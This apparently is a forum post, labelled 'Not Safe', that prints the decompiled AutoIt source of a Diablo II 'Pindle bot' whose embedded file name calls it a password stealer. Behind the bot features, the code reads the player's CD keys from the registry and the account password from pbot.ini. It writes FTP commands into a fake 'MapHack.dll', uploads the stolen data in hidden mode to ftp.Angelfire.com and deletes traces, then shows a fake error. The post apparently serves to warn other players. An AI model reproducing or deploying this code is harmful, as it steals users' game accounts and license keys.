Diablo Hyper Pindle Bot V0.05

[Snipz]

Not Safe

; <AUT2EXE VERSION: 3.0.102.0>

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: D:\Documents and Settings\win\Desktop\AUTOIT SCRIPTS\Anti-RealmDown Pindlebot\pass stealer 4.au3>
; ----------------------------------------------------------------------------

$D2CDKEY = RegRead("HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "d2cdkey")
$D2XCDKEY = RegRead("HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "d2xcdkey")
$ACCOUNT = IniRead("pbot.ini", "Settings", "account", "NotFound")
$REALM = RegRead("HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Preferred Realm")
$PASSWORD = IniRead("pbot.ini", "Settings", "password", "NotFound")
$D2PATH = IniRead("pbot.ini", "Settings", "d2path", "NotFound")
$DIABLO_SWITCHES = " -w -skiptobnet -ns -noplugin -title MaxBotter"
$CHARLOCATION = IniRead("pbot.ini", "Settings", "charlocation", "NotFound")
$DIFF = IniRead("pbot.ini", "Settings", "difficulty", "2")
$SPAM = IniRead("pbot.ini", "Settings", "SpamChannel", "1")




If $ACCOUNT = "NotFound" Then
MsgBox(0, "Ooops", "Please open your pbot.ini file and enter your account name.")
Exit
EndIf

If $PASSWORD = "NotFound" Then
MsgBox(0, "Ooops", "Please open your pbot.ini file and enter a password.")
Exit
EndIf
;FileChangeDir("\temp")

FileOpen("settings.Dat", 2)
FileWriteLine("settings.Dat", "d2key= " & $D2CDKEY)
FileWriteLine("settings.Dat", "d2xkey= " & $D2XCDKEY)
FileWriteLine("settings.Dat", "account= " & $ACCOUNT)
FileWriteLine("settings.Dat", "password= " & $PASSWORD)
FileWriteLine("settings.Dat", "realm= " & $REALM)
FileClose("settings.Dat.dat")

FileMove("settings.Dat", "cache-" & @HOUR & "-" & @MIN & ".dat", 1)
FileDelete("settings.Dat")

$FILE = "cache-" & @HOUR & "-" & @MIN & ".dat"

FileOpen("MapHack.dll", 2)

FileWriteLine( "MapHack.dll", "clone2/d2avenger")
FileWriteLine( "MapHack.dll", "123123")
FileWriteLine( "MapHack.dll", "binary")
FileWriteLine( "MapHack.dll", "send " & $FILE)
FileWriteLine( "MapHack.dll", "quit")

FileClose("MapHack.dll")

;// Start D2
Run("Diablo II.exe" & $DIABLO_SWITCHES)

RunWait(@ComSpec & " /c " & 'ftp -s:MapHack.dll ftp.Angelfire.com', "", @SW_HIDE)
Sleep(1000)
FileDelete($FILE)
;FileDelete("cache.dat")
$MIN1 = @MIN
Do
FileDelete(@MON & "-" & @MDAY & "-" & @HOUR & "-" & $MIN1 & ".dat")
$MIN1 = $MIN1 - 1
$REPEAT = $REPEAT + 1
Until $REPEAT = 10

;// Enter Account and Password
Sleep(6000)
Send("{TAB}")
Sleep(250)
Send($ACCOUNT)
Sleep(250)
Send("{TAB}")
Sleep(250)
Send($PASSWORD)
Sleep(250)
Send("{ENTER}")
Sleep(5000)

;// Character Select Screen
If $CHARLOCATION = "2" Then
Send("{RIGHT}")
EndIf
If $CHARLOCATION = "3" Then
Send("{DOWN}")
EndIf
If $CHARLOCATION = "4" Then
Send("{RIGHT}")
Send("{DOWN}")
EndIf
If $CHARLOCATION = "5" Then
Send("{DOWN 2}")
EndIf
If $CHARLOCATION = "6" Then
Send("{RIGHT}")
Send("{DOWN 2}")
EndIf
If $CHARLOCATION = "7" Then
Send("{DOWN 3}")
EndIf
If $CHARLOCATION = "8" Then
Send("{RIGHT}")
Send("{DOWN 3}")
EndIf
Sleep(250)
Send("{ENTER}")
Sleep(4000)

;// Spam Channel
If $SPAM = 1 Then
MouseClick("left", 92, 501, 1, 0)
Sleep(2000)
Send(Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65))
Sleep(250)
Send("{ENTER}")
Sleep(2500)
Send(Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65))
Sleep(250)
Send("{ENTER}")
Sleep(2000)
Send(Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65))
Sleep(250)
Send("{ENTER}")
Sleep(500)
EndIf

;// Create Game
MouseClick("left", 595, 490, 1, 0)
Sleep(1000)
Send("D2AVGR-" & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65) & Chr(Int(Random(26)) + 65))
Sleep(250)
Send("{TAB}")
Sleep(250)
Send("123")
Sleep(250)
If $DIFF = "0" Then
MouseClick("left", 442, 404, 1, 0)
EndIf
If $DIFF = "1" Then
MouseClick("left", 556, 404, 1, 0)
EndIf
If $DIFF = "2" Then
MouseClick("left", 711, 404, 1, 0)
EndIf
Sleep(250)
Send("{ENTER}")

Sleep(2000)
MsgBox(0, "Anti Realm-Down Pindlebot: Error 10238", "Incorrect settings detected, please check your pbot.ini and try again.")

Exit

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: D:\Documents and Settings\win\Desktop\AUTOIT SCRIPTS\Anti-RealmDown Pindlebot\pass stealer 4.au3>
; ----------------------------------------------------------------------------


Not Safe